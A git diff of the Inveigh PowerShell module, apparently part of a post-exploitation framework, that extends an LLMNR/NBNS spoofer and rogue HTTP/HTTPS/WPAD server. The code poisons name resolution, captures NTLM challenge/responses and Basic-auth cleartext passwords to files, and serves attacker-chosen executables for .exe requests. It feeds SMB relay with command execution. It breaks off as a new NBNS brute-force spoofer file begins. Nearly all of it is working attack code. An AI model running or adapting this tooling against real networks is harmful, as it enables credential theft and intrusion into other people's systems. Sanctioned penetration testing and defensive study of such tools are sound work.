Of Types $NBNSTypes_output Enabled")|Out-Null } - + + $inveigh.status_queue.add("NBNS TTL = $NBNSTTL Seconds")|Out-Null $NBNS_response_message = "- spoofed response has been sent" } else @@ -302,17 +464,46 @@ else $NBNS_response_message = "- NBNS spoofing is disabled" } -if($Repeat -eq 'n') +if($SpooferHostsReply -and ($LLMNR -eq 'y' -or $NBNS -eq 'y')) +{ + $inveigh.status_queue.add("Spoofing requests for " + $SpooferHostsReply -join ",")|Out-Null +} + +if($SpooferHostsIgnore -and ($LLMNR -eq 'y' -or $NBNS -eq 'y')) { - $inveigh.repeat = $false - $inveigh.status_queue.add("Spoof Repeating Disabled")|Out-Null + $inveigh.status_queue.add("Ignoring requests for " + $SpooferHostsIgnore -join ",")|Out-Null +} + +if($SpooferIPsReply -and ($LLMNR -eq 'y' -or $NBNS -eq 'y')) +{ + $inveigh.status_queue.add("Spoofing requests from " + $SpooferIPsReply -join ",")|Out-Null +} + +if($SpooferIPsIgnore -and ($LLMNR -eq 'y' -or $NBNS -eq 'y')) +{ + $inveigh.status_queue.add("Ignoring requests from " + $SpooferIPsIgnore -join ",")|Out-Null +} + +if($SpooferRepeat -eq 'n') +{ + $inveigh.spoofer_repeat = $false + $inveigh.status_queue.add("Spoofer Repeating Disabled")|Out-Null } else { - $inveigh.repeat = $true + $inveigh.spoofer_repeat = $true $inveigh.IP_capture_list = @() } +if($SMB -eq 'y') +{ + $inveigh.status_queue.add("SMB Capture Enabled")|Out-Null +} +else +{ + $inveigh.status_queue.add("SMB Capture Disabled")|Out-Null +} + if($HTTP -eq 'y') { $inveigh.HTTP = $true @@ -332,10 +523,13 @@ if($HTTPS -eq 'y') $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") $certificate_store.Open('ReadWrite') $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 - $certificate.Import($PWD.Path + "\inveigh.pfx") + $certificate.Import($PWD.Path + "\Inveigh.pfx") $certificate_store.Add($certificate) $certificate_store.Close() - Invoke-Expression -command ("netsh http add sslcert ipport=0.0.0.0:443 certhash=" + $inveigh.certificate_thumbprint + " appid='{00112233-4455-6677-8899-AABBCCDDEEFF}'") > $null + $netsh_certhash = "certhash=" + $inveigh.certificate_thumbprint + $netsh_app_ID = "appid={" + $inveigh.certificate_application_ID + "}" + $netsh_arguments = @("http","add","sslcert","ipport=0.0.0.0:443",$netsh_certhash,$netsh_app_ID) + & "netsh" $netsh_arguments > $null $inveigh.status_queue.add("HTTPS Capture Enabled")|Out-Null } catch @@ -351,18 +545,66 @@ else $inveigh.status_queue.add("HTTPS Capture Disabled")|Out-Null } -if($Challenge) +if($inveigh.HTTP -or $inveigh.HTTPS) { - $inveigh.status_queue.add("NTLM Challenge = $Challenge")|Out-Null -} + $inveigh.status_queue.add("HTTP/HTTPS Authentication = $HTTPAuth")|Out-Null + $inveigh.status_queue.add("WPAD Authentication = $WPADAuth")|Out-Null + + if($HTTPDir -and !$HTTPResponse) + { + $inveigh.status_queue.add("HTTP/HTTPS Directory = $HTTPDir")|Out-Null + + if($HTTPDefaultFile) + { + $inveigh.status_queue.add("HTTP/HTTPS Default Response File = $HTTPDefaultFile")|Out-Null + } + + if($HTTPDefaultEXE) + { + $inveigh.status_queue.add("HTTP/HTTPS Default Response Executable = $HTTPDefaultEXE")|Out-Null + } + } + + if($HTTPResponse) + { + $inveigh.status_queue.add("HTTP/HTTPS Custom Response Enabled")|Out-Null + } + + if($HTTPAuth -eq 'Basic' -or $WPADAuth -eq 'Basic') + { + $inveigh.status_queue.add("Basic Authentication Realm = $HTTPBasicRealm")|Out-Null + } + + if($WPADIP -and $WPADPort) + { + $inveigh.status_queue.add("WPAD = $WPADIP`:$WPADPort")|Out-Null + + if($WPADDirectHosts) + { + ForEach($WPAD_direct_host in $WPADDirectHosts) + { + $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' + } + + $inveigh.WPAD_response = "function FindProxyForURL(url,host){" + $WPAD_direct_hosts_function + "return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" + $inveigh.status_queue.add("WPAD Direct Hosts = " + $WPADDirectHosts -join ",")|Out-Null + } + else + { + $inveigh.WPAD_response = "function FindProxyForURL(url,host){return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" + } + } + elseif($WPADResponse -and !$WPADIP -and !$WPADPort) + { + $inveigh.status_queue.add("WPAD Custom Response Enabled")|Out-Null + $inveigh.WPAD_response = $WPADResponse + } + + if($Challenge) + { + $inveigh.status_queue.add("NTLM Challenge = $Challenge")|Out-Null + } -if($SMB -eq 'y') -{ - $inveigh.status_queue.add("SMB Capture Enabled")|Out-Null -} -else -{ - $inveigh.status_queue.add("SMB Capture Disabled")|Out-Null } if($MachineAccounts -eq 'n') @@ -370,15 +612,6 @@ if($MachineAccounts -eq 'n') $inveigh.status_queue.add("Ignoring Machine Accounts")|Out-Null } -if($ForceWPADAuth -eq 'y') -{ - $inveigh.status_queue.add("Force WPAD Authentication Enabled")|Out-Null -} -else -{ - $inveigh.status_queue.add("Force WPAD Authentication Disabled")|Out-Null -} - if($ConsoleOutput -eq 'y') { $inveigh.status_queue.add("Real Time Console Output Enabled")|Out-Null @@ -418,7 +651,6 @@ elseif($RunTime -gt 1) if($SMBRelay -eq 'n') { - if($ShowHelp -eq 'y') { $inveigh.status_queue.add("Use Get-Command -Noun Inveigh* to show available functions")|Out-Null @@ -429,6 +661,7 @@ if($SMBRelay -eq 'n') $inveigh.status_queue.add("Press any key to stop real time console output")|Out-Null } } + if($inveigh.status_output) { while($inveigh.status_queue.Count -gt 0) @@ -459,7 +692,7 @@ if($SMBRelay -eq 'n') } else { - Invoke-InveighRelay -HTTP $HTTP -HTTPS $HTTPS -SMBRelayTarget $SMBRelayTarget -SMBRelayUsernames $SMBRelayUsernames -SMBRelayAutoDisable $SMBRelayAutoDisable -SMBRelayNetworkTimeout $SMBRelayNetworkTimeout -MachineAccounts $MachineAccounts -SMBRelayCommand $SMBRelayCommand -Tool $Tool -ShowHelp $ShowHelp + Invoke-InveighRelay -HTTP $HTTP -HTTPS $HTTPS -HTTPSCertAppID $HTTPSCertAppID -HTTPSCertThumbprint $HTTPSCertThumbprint -WPADAuth $WPADAuth -SMBRelayTarget $SMBRelayTarget -SMBRelayUsernames $SMBRelayUsernames -SMBRelayAutoDisable $SMBRelayAutoDisable -SMBRelayNetworkTimeout $SMBRelayNetworkTimeout -MachineAccounts $MachineAccounts -SMBRelayCommand $SMBRelayCommand -Tool $Tool -ShowHelp $ShowHelp } # Begin ScriptBlocks @@ -493,7 +726,7 @@ $shared_basic_functions_scriptblock = $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length-1)]) $string_data = $string_data -replace "-00","" - $string_data = $string_data.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $string_data = $string_data.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $string_extract = New-Object System.String ($string_data,0,$string_data.Length) return $string_extract } @@ -583,11 +816,10 @@ $SMB_NTLM_functions_scriptblock = { $inveigh.console_queue.add("SMB NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) } - } } - if (($inveigh.IP_capture_list -notcontains $source_IP) -and (-not $NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat) -and ($source_IP -ne $IP)) + if (($inveigh.IP_capture_list -notcontains $source_IP) -and (-not $NTLM_user_string.EndsWith('$')) -and (!$inveigh.spoofer_repeat) -and ($source_IP -ne $IP)) { $inveigh.IP_capture_list += $source_IP } @@ -599,7 +831,7 @@ $SMB_NTLM_functions_scriptblock = # HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener $HTTP_scriptblock = { - param ($MachineAccounts,$ForceWPADAuth) + param ($HTTPAuth,$HTTPBasicRealm,$MachineAccounts,$WPADAuth) Function NTLMChallengeBase64 { @@ -607,19 +839,19 @@ $HTTP_scriptblock = $HTTP_timestamp = Get-Date $HTTP_timestamp = $HTTP_timestamp.ToFileTime() $HTTP_timestamp = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_timestamp)) - $HTTP_timestamp = $HTTP_timestamp.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} - if($Inveigh.challenge) + if($inveigh.challenge) { - $HTTP_challenge = $Inveigh.challenge - $HTTP_challenge_bytes = $Inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_challenge = $inveigh.challenge + $HTTP_challenge_bytes = $inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} } else { - $HTTP_challenge_bytes = [String](1..8 | % {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} } $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $HTTP_challenge) |Out-Null @@ -647,8 +879,57 @@ $HTTP_scriptblock = $inveigh.context = $inveigh.HTTP_listener.GetContext() $inveigh.request = $inveigh.context.Request $inveigh.response = $inveigh.context.Response - $inveigh.message = '' + + if($inveigh.HTTP_directory -and $inveigh.HTTP_default_EXE -and ($inveigh.request.RawUrl -like '*.exe') -and (Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_EXE)) -and !(Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl))) + { + [byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_EXE)) + } + elseif($inveigh.HTTP_directory) + { + if(($inveigh.HTTP_default_file) -and !(Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl)) -and (Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file)) -and ($inveigh.request.RawUrl -notmatch '/wpad.dat')) + { + [byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file)) + } + elseif(($inveigh.HTTP_default_file) -and ($inveigh.request.RawUrl -eq '/') -and (Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file))) + { + [byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file)) + } + elseif(($inveigh.WPAD_response) -and ($inveigh.request.RawUrl -match '/wpad.dat')) + { + [byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.WPAD_response) + } + else + { + if(Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl)) + { + [byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl)) + } + else + { + [byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.HTTP_response) + } + } + } + else + { + if($inveigh.HTTP_response) + { + $inveigh.message = $inveigh.HTTP_response + } + elseif($inveigh.request.RawUrl -match '/wpad.dat') + { + $inveigh.message = $inveigh.WPAD_response + } + else + { + $inveigh.message = '' + } + + [byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.message) + } + $NTLM = 'NTLM' + $NTLM_auth = $false if($inveigh.request.IsSecureConnection) { @@ -659,8 +940,7 @@ $HTTP_scriptblock = $HTTP_type = "HTTP" } - - if (($inveigh.request.RawUrl -match '/wpad.dat') -and ($ForceWPADAuth -eq 'n')) + if(($inveigh.request.RawUrl -match '/wpad.dat') -and ($WPADAuth -eq 'Anonymous')) { $inveigh.response.StatusCode = 200 } @@ -668,6 +948,12 @@ $HTTP_scriptblock = { $inveigh.response.StatusCode = 401 } + + if (!$inveigh.request.headers["Authorization"]) + { + $inveigh.console_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address) + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address)]) + } [string]$authentication_header = $inveigh.request.headers.getvalues('Authorization') @@ -680,7 +966,7 @@ $HTTP_scriptblock = if($HTTP_request_bytes[8] -eq 1) { $inveigh.response.StatusCode = 401 - $NTLM = NTLMChallengeBase64 + $NTLM = NTLMChallengeBase64 } elseif($HTTP_request_bytes[8] -eq 3) { @@ -729,7 +1015,7 @@ $HTTP_scriptblock = } } - if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat)) + if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.spoofer_repeat)) { $inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address } @@ -751,30 +1037,54 @@ $HTTP_scriptblock = if($inveigh.file_output) { $inveigh.console_queue.add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) - } - + } } - if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat)) + if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.spoofer_repeat)) { $inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address } } $inveigh.response.StatusCode = 200 + $NTLM_auth = $true $NTLM_challenge = '' - } else { $NTLM = 'NTLM' } - } - - [byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.message) + elseif($authentication_header.startswith('Basic ')) # Thanks to @xorrior for the initial basic auth code + { + $inveigh.response.StatusCode = 200 + $authentication_header = $authentication_header -replace 'Basic ','' + $cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($authentication_header)) + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from " + $inveigh.request.RemoteEndpoint.address)]) + $inveigh.cleartext_file_queue.add($cleartext_credentials) + $inveigh.cleartext_list.add($cleartext_credentials) + $inveigh.console_queue.add("$(Get-Date -format 's') - Basic auth cleartext credentials $cleartext_credentials captured from " + $inveigh.request.RemoteEndpoint.address) + + if($inveigh.file_output) + { + $inveigh.console_queue.add("Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file) + } + } + + if(($HTTPAuth -eq 'NTLM' -and $inveigh.request.RawUrl -notmatch '/wpad.dat') -or ($WPADAuth -eq 'NTLM' -and $inveigh.request.RawUrl -match '/wpad.dat') -and !$NTLM_auth) + { + $inveigh.response.AddHeader("WWW-Authenticate",$NTLM) + } + elseif(($HTTPAuth -eq 'Basic' -and $inveigh.request.RawUrl -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Basic' -and $inveigh.request.RawUrl -match '/wpad.dat')) + { + $inveigh.response.AddHeader("WWW-Authenticate","Basic realm=$HTTPBasicRealm") + } + else + { + $inveigh.response.StatusCode = 200 + } + $inveigh.response.ContentLength64 = $HTTP_buffer.length - $inveigh.response.AddHeader("WWW-Authenticate",$NTLM) $HTTP_stream = $inveigh.response.OutputStream $HTTP_stream.write($HTTP_buffer, 0, $HTTP_buffer.length) $HTTP_stream.close() @@ -788,7 +1098,7 @@ $HTTP_scriptblock = # Sniffer/Spoofer ScriptBlock - LLMNR/NBNS Spoofer and SMB sniffer $sniffer_scriptblock = { - param ($LLMNR_response_message,$NBNS_response_message,$IP,$SpooferIP,$SMB,$LLMNR,$NBNS,$NBNSTypes,$SpoofList,$MachineAccounts,$ForceWPADAuth,$RunTime) + param ($LLMNR_response_message,$NBNS_response_message,$IP,$SpooferIP,$SMB,$LLMNR,$NBNS,$NBNSTypes,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$MachineAccounts,$RunTime,$LLMNRTTL,$NBNSTTL) $byte_in = New-Object Byte[] 4 $byte_out = New-Object Byte[] 4 @@ -803,6 +1113,10 @@ $sniffer_scriptblock = $end_point = New-Object System.Net.IPEndpoint([Net.IPAddress]"$IP", 0) $inveigh.sniffer_socket.Bind($end_point) [void]$inveigh.sniffer_socket.IOControl([Net.Sockets.IOControlCode]::ReceiveAll,$byte_in,$byte_out) + $LLMNR_TTL_bytes = [BitConverter]::GetBytes($LLMNRTTL) + [array]::Reverse($LLMNR_TTL_bytes) + $NBNS_TTL_bytes = [BitConverter]::GetBytes($NBNSTTL) + [array]::Reverse($NBNS_TTL_bytes) if($RunTime) { @@ -905,7 +1219,8 @@ $sniffer_scriptblock = $UDP_length[0] += 16 [Byte[]]$NBNS_response_data = $payload_bytes[13..$payload_bytes.length]` - + (0x00,0x00,0x00,0xa5,0x00,0x06,0x00,0x00)` + + $NBNS_TTL_bytes` + + (0x00,0x06,0x00,0x00)` + ([IPAddress][String]([IPAddress]$SpooferIP)).GetAddressBytes()` + (0x00,0x00,0x00,0x00) @@ -950,7 +1265,7 @@ $sniffer_scriptblock = $NBNS_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.length - 4)]) $NBNS_query = $NBNS_query -replace "-00","" - $NBNS_query = $NBNS_query.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length) $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA")) @@ -980,7 +1295,7 @@ $sniffer_scriptblock = { if($NBNSTypes -contains $NBNS_query_type) { - if ((!$Spooflist -or $SpoofList -contains $NBNS_query_string) -and $inveigh.IP_capture_list -notcontains $source_IP) + if ((!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and $inveigh.IP_capture_list -notcontains $source_IP) { [void]$send_socket.sendTo( $NBNS_response_packet, $destination_point ) $send_socket.Close() @@ -988,9 +1303,21 @@ $sniffer_scriptblock = } else { - if($SpoofList -notcontains $NBNS_query_string) + if($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) { - $NBNS_response_message = "- $NBNS_query_string not on spoof list" + $NBNS_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $NBNS_response_message = "- $source_IP is on ignore list" } else { @@ -1016,7 +1343,7 @@ $sniffer_scriptblock = [byte[]]$LLMNR_response_data = $payload_bytes[12..$payload_bytes.length] $LLMNR_response_data += $LLMNR_response_data` - + (0x00,0x00,0x00,0x1e)` + + $LLMNR_TTL_bytes` + (0x00,0x04)` + ([IPAddress][String]([IPAddress]$SpooferIP)).GetAddressBytes() @@ -1034,12 +1361,12 @@ $sniffer_scriptblock = $LLMNR_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.length - 4)]) $LLMNR_query = $LLMNR_query -replace "-00","" - $LLMNR_query = $LLMNR_query.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $LLMNR_query = $LLMNR_query.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $LLMNR_query_string = New-Object System.String ($LLMNR_query,0,$LLMNR_query.Length) if($LLMNR -eq 'y') { - if((!$Spooflist -or $SpoofList -contains $LLMNR_query_string) -and $inveigh.IP_capture_list -notcontains $source_IP) + if((!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and $inveigh.IP_capture_list -notcontains $source_IP) { [void]$send_socket.sendTo( $LLMNR_response_packet, $destination_point ) $send_socket.Close( ) @@ -1047,9 +1374,21 @@ $sniffer_scriptblock = } else { - if($SpoofList -notcontains $LLMNR_query_string) + if($SpooferHostsReply -and $SpooferHostsReply -notcontains $LLMNR_query_string) + { + $LLMNR_response_message = "- $LLMNR_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $LLMNR_query_string) { - $LLMNR_response_message = "- $LLMNR_query_string not on spoof list" + $LLMNR_response_message = "- $LLMNR_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $LLMNR_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $LLMNR_response_message = "- $source_IP is on ignore list" } else { @@ -1077,23 +1416,28 @@ $sniffer_scriptblock = $inveigh.HTTP_listener.Close() } - $inveigh.console_queue.add("Inveigh auto-exited at $(Get-Date -format 's')") - $inveigh.log.add("$(Get-Date -format 's') - Inveigh auto-exited") - - if($inveigh.file_output) + if($inveigh.relay_running) { - "$(Get-Date -format 's') - Inveigh auto-exited"| Out-File $Inveigh.log_out_file -Append + $inveigh.console_queue.add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) + Start-Sleep -m 5 + $inveigh.relay_running = $false } + + $inveigh.console_queue.add("Inveigh exited due to run time at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh exited due to run time")]) + Start-Sleep -m 5 + $inveigh.running = $false if($inveigh.HTTPS) { - Invoke-Expression -command "netsh http delete sslcert ipport=0.0.0.0:443" > $null + & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null try { $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") $certificate_store.Open('ReadWrite') - $certificate = $certificate_store.certificates.find("FindByThumbprint",$inveigh.certificate_thumbprint,$FALSE)[0] + $certificate = $certificate_store.certificates.find("FindByThumbprint",$inveigh.certificate_thumbprint,$false)[0] $certificate_store.Remove($certificate) $certificate_store.Close() } @@ -1112,12 +1456,9 @@ $sniffer_scriptblock = } } } - + $inveigh.HTTP = $false - $inveigh.HTTPS = $false - $inveigh.running = $false - $inveigh.relay_running = $false - + $inveigh.HTTPS = $false } } @@ -1140,6 +1481,12 @@ $sniffer_scriptblock = $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append $inveigh.NTLMv2_file_queue.RemoveRange(0,1) } + + while($inveigh.cleartext_file_queue.Count -gt 0) + { + $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append + $inveigh.cleartext_file_queue.RemoveRange(0,1) + } } } @@ -1175,12 +1522,10 @@ Function HTTPListener() $HTTP_powershell = [powershell]::Create() $HTTP_powershell.Runspace = $HTTP_runspace $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_relay_challenge_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_relay_response_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_relay_execute_scriptblock) > $null $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($MachineAccounts).AddArgument($ForceWPADAuth) > $null - $HTTP_handle = $HTTP_powershell.BeginInvoke() + $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($HTTPAuth).AddArgument( + $HTTPBasicRealm).AddArgument($MachineAccounts).AddArgument($WPADAuth) > $null + $HTTP_powershell.BeginInvoke() > $null } # Sniffer/Spoofer Startup Function @@ -1195,9 +1540,10 @@ Function SnifferSpoofer() $sniffer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null $sniffer_powershell.AddScript($sniffer_scriptblock).AddArgument($LLMNR_response_message).AddArgument( $NBNS_response_message).AddArgument($IP).AddArgument($SpooferIP).AddArgument($SMB).AddArgument( - $LLMNR).AddArgument($NBNS).AddArgument($NBNSTypes).AddArgument($SpoofList).AddArgument( - $MachineAccounts).AddArgument($ForceWPADAuth).AddArgument($RunTime) > $null - $sniffer_handle = $sniffer_powershell.BeginInvoke() + $LLMNR).AddArgument($NBNS).AddArgument($NBNSTypes).AddArgument($SpooferHostsReply).AddArgument( + $SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument($SpooferIPsIgnore).AddArgument( + $MachineAccounts).AddArgument($RunTime).AddArgument($LLMNRTTL).AddArgument($NBNSTTL) > $null + $sniffer_powershell.BeginInvoke() > $null } # End Startup Functions @@ -1215,7 +1561,7 @@ SnifferSpoofer if($inveigh.console_output) { - :console_loop while(($inveigh.running) -and ($inveigh.console_output)) + :console_loop while(($inveigh.running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) { while($inveigh.console_queue.Count -gt 0) { @@ -1228,33 +1574,31 @@ if($inveigh.console_output) { switch -wildcard ($inveigh.console_queue[0]) { - "*local administrator*" + "Inveigh *exited *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } - "*NTLMv1 challenge/response written*" + "* written to *" { - if($inveigh.file_output) - { - write-warning $inveigh.console_queue[0] - } + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + $inveigh.console_queue.RemoveRange(0,1) } - "*NTLMv2 challenge/response written*" - { - if($inveigh.file_output) + "* for relay *" { write-warning $inveigh.console_queue[0] - } $inveigh.console_queue.RemoveRange(0,1) } - "* relay *" + "*SMB relay *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } - "Service *" + "* local administrator *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) @@ -1281,4 +1625,4 @@ if($inveigh.console_output) } } -} +} \ No newline at end of file diff --git a/data/module_source/collection/Invoke-InveighBruteForce.ps1 b/data/module_source/collection/Invoke-InveighBruteForce.ps1 new file mode 100644 index 000000000..023eae479 --- /dev/null +++ b/data/module_source/collection/Invoke-InveighBruteForce.ps1 @@ -0,0 +1,1188 @@ +Function Invoke-InveighBruteForce +{ +<# +.SYNOPSIS +Invoke-InveighBruteForce is a remote (Hot Potato method)/unprivileged NBNS brute force spoofer. + +.DESCRIPTION +Invoke-InveighBruteForce is a remote (Hot Potato method)/unprivileged NBNS brute force spoofer with the following features: + + Targeted IPv4 NBNS brute force spoofer with granular control + NTLMv1/NTLMv2 challenge/response capture over HTTP + Granular control of console and file output + Run time control + +This function can be used to perform NBNS spoofing across subnets and/or perform NBNS spoofing without an elevated administrator or SYSTEM shell. + +.PARAMETER SpooferIP +Specify an IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh Brute Force host. + +.PARAMETER SpooferTarget +Specify an IP address to target for brute force NBNS spoofing. + +.PARAMETER Hostname +Default = WPAD: Specify a hostname for NBNS spoofing. + +.PARAMETER NBNS +Default = Disabled: (Y/N) Enable/Disable NBNS spoofing. + +.PARAMETER NBNSPause +Default = Disabled: (Integer) Specify the number of seconds the NBNS brute force spoofer will stop spoofing after an incoming HTTP request is received. + +.PARAMETER NBNSTTL +Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet. + +.PARAMETER HTTP +Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. + +.PARAMETER HTTPIP +Default = Any: Specify a TCP IP address for the HTTP listener. + +.PARAMETER HTTPPort +Default = 80: Specify a TCP port for the HTTP listener. + +.PARAMETER HTTPAuth +Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not apply to wpad.dat requests. + +.PARAMETER HTTPBasicRealm +Specify a realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. + +.PARAMETER HTTPResponse +Specify a string or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat requests. Use PowerShell character escapes where necessary. + +.PARAMETER WPADAuth +Default = NTLM: (Anonymous,Basic,NTLM) 